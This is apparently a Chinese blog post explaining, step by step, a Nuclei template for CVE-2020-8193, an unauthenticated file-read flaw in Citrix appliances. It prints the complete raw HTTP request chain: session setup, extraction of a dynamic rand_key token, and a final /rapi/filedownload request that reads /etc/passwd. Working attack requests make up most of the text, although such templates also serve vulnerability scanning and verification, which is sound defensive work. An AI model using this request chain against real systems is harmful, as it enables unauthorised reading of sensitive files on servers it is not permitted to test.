CVE-2020-8193 Nuclei 模板分步解析

成功利用的第一个要求是从第一个请求获取 Cookie(例如 SESSID)并在所有后续操作中重复使用。为此,可以在请求中使用 cookie-reuse: true标志,它将在所有已定义的请求之间维持会话。

bash 复制代码
requests:
  cookie-reuse: true
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56        
   
        <appfwprofile><login></login></appfwprofile>

该漏洞利用的另一个要求是从响应体中提取一个名为 rand_key的动态变量,该变量需要在第 4 个请求中发送。所有后续请求都需要这个值,否则会失败。我们通过向提取器添加一个名为 internal的可选字段来解决这个问题,该字段将提取器结果标记为仅在模板内部使用。所有出现的提取器名称(在此例中为 randkey)将在请求中被从响应中检索到的值替换。

bash 复制代码
      # Previous requests get the randkey using 
      # extractors. We simply pass it as header.
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: randkey        
   
        <appfwprofile><login></login></appfwprofile>
           
     ...
        
    # Create an extractor for randkey retrieval on runtime.
    extractors:
      - type: regex
        name: randkey
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\.[0-9]+"

第一步:建立会话

  • 请求 1 : 向 /pcidss/report接口发送一个特殊的 POST 请求。这个请求的目的是在服务器上创建一个有效的会话,并获取一个关键的会话 Cookie(如 SESSID)。

第二步:会话维护与参数获取

  • 请求 2、3、4 : 这是一系列 GET 请求(访问 /menu/ss, /menu/neo, /menu/stc)。这些请求的主要作用是:
    • 维持会话活性:确保上一步获取的 Cookie 仍然有效。
    • 获取动态参数 :从服务器的响应中(例如 HTML 页面里的 JavaScript 代码)提取一个名为 rand_key的动态令牌。这个令牌是后续利用所必需的。

第三步:利用漏洞读取文件

  • 请求 5 : 再次向 /pcidss/report发送 POST 请求,但这次在请求头中带上了从第二步中提取的 rand_key。这个请求进一步巩固了攻击条件。
  • 请求 6 : 这是最关键的利用请求。它向 /rapi/filedownload接口发送 POST 请求,并通过 filter=path:%2Fetc%2Fpasswd参数(URL 编码后的 /etc/passwd)指定要读取的文件

下面给出了用于检测以及漏洞利用的最终模板结果,该模板通过利用 CVE-2020-8193 读取 /etc/passwd文件:

yaml 复制代码
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high

  # Source:- https://github.com/jas502n/CVE-2020-8193
  # This template covers only the detection part, use the above exploit for the exploit confirmation.

requests:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>        

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close        

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close        

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close        

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: randkey

        <appfwprofile><login></login></appfwprofile>        

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: randkey

        <clipermission></clipermission>        

    cookie-reuse: true

    # Using cookie-reuse to maintain session between each request, same as browser. 

    extractors:
      - type: regex
        name: randkey
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\.[0-9]+"

        # Using rand_key as dynamic variable to make use of extractors at run time.


    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body

Reference

wiki.bafangwy.com/doc/846/

zhuanlan.zhihu.com/p/636410562

blog.csdn.net/Flying_Fish...

xz.aliyun.com/news/18664

sechub.in/view/304295...

docs.projectdiscovery.io/opensource/...

github.com/projectdisc...

github.com/projectdisc...

projectdiscovery.io/blog/nuclei...

相关推荐
WX-bisheyuange2 小时前
基于SpringBoot的诊疗预约平台
java·spring boot·后端·毕业设计
SimonKing2 小时前
基于Netty的WebSocket客户端
java·后端·程序员
麦兜*2 小时前
Spring Boot 整合 Spring Data JPA 入门:只需注解,告别 SQL
spring boot·后端·sql
Sally璐璐2 小时前
RESTful与RPC接口终极对比指南
后端·rpc·restful
J_liaty3 小时前
前后端跨域处理全指南:Java后端+Vue前端完整解决方案
java·前端·vue.js·spring boot·后端
颜淡慕潇3 小时前
深度解读 Spring Boot 3.5.9— 工程视角的稳健演进与价值释放
java·spring boot·后端·spring
玄〤3 小时前
黑马点评中的分布式锁设计与实现(Redis + Redisson)
java·数据库·redis·笔记·分布式·后端
码界奇点3 小时前
基于SpringBoot与Shiro的细粒度动态权限管理系统设计与实现
java·spring boot·后端·spring·毕业设计·源代码管理
摸鱼的春哥3 小时前
继续AI编排实战:带截图的连麦切片文章生成
前端·javascript·后端